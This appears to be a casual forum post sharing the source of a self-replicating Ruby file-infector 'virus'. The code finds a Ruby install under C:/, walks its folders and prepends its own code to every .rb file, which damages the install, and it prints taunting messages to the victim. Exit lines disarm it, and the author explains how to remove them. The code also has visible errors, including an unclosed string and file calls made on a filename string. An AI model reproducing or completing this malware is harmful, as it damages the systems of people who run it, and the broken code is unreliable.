got bored and wrote this in like ten minutes.

virus.rb.dontfuckingrun

INFECTED=TRUE
exit  ## remove this to run and line 35
SELF_CODE = ""
maybe_ruby = [];  Dir.entries("C:/")[2..-1].each { |e| if e.downcase[0..3] == "ruby;  maybe_ruby << e;  end }
target=nil
maybe_ruby.each do |r|
  p="C:/"+r
  if File.directory?(p+"/bin") and File.file?(p+"/bin/ruby.exe");  target = p;  break;  end
end
if target == nil;  exit;  end  ## failed to find a ruby install to infect
if File.writable?(target) == false;  exit  ## we could do "something" about this but sorry lol not in this example.
end

dir = target
cur = nil ; rem = [dir.to_s] ; fi = [] ; fo = [] ; ex = []
until rem.length == 0
  cur = rem[0].to_s ; rem.delete_at(0)
  begin ; cont = Dir.entries(cur.to_s) ; cont.delete(".") ; cont.delete("..")
    if cont.length > 0
      cont.each do |p|
        if File.file?(cur.to_s + "/" + p.to_s) ; fi << cur.to_s + "/" + p.to_s
        elsif File.directory?(cur.to_s + "/" + p.to_s) ; fo << cur.to_s + "/" + p.to_s ; rem << fo[-1]
        end
      end
    end
  rescue
    ex << cur
  end
end

infected = 0
infectables = []
fi.each { |f| if f.downcase.end_with?(".rb");  infectables << f;  end;  }

exit
infectables.each do |f|
  begin
    ffi = File.open(f,"r");  dat=f.read;  f.close
	if dat.split("\n")[0].downcase == "infected=true";  next;  end
    ffi = File.open(f,"w"); f.write(SELF_CODE+"\n\n\n#\n#\n\n\n"+dat.to_s); f.close
    infected += 1
  rescue
  end
end

if infected==0
  puts "Damn bro...i dont know what happened."
elsif infected > 25
  puts "Lol your ruby is probably not going to work any more."
elsif infected > 75
  puts "LMAO your ruby is totally fucked, it should run maybe but have fun with that."
end
sleep 0.75;  exit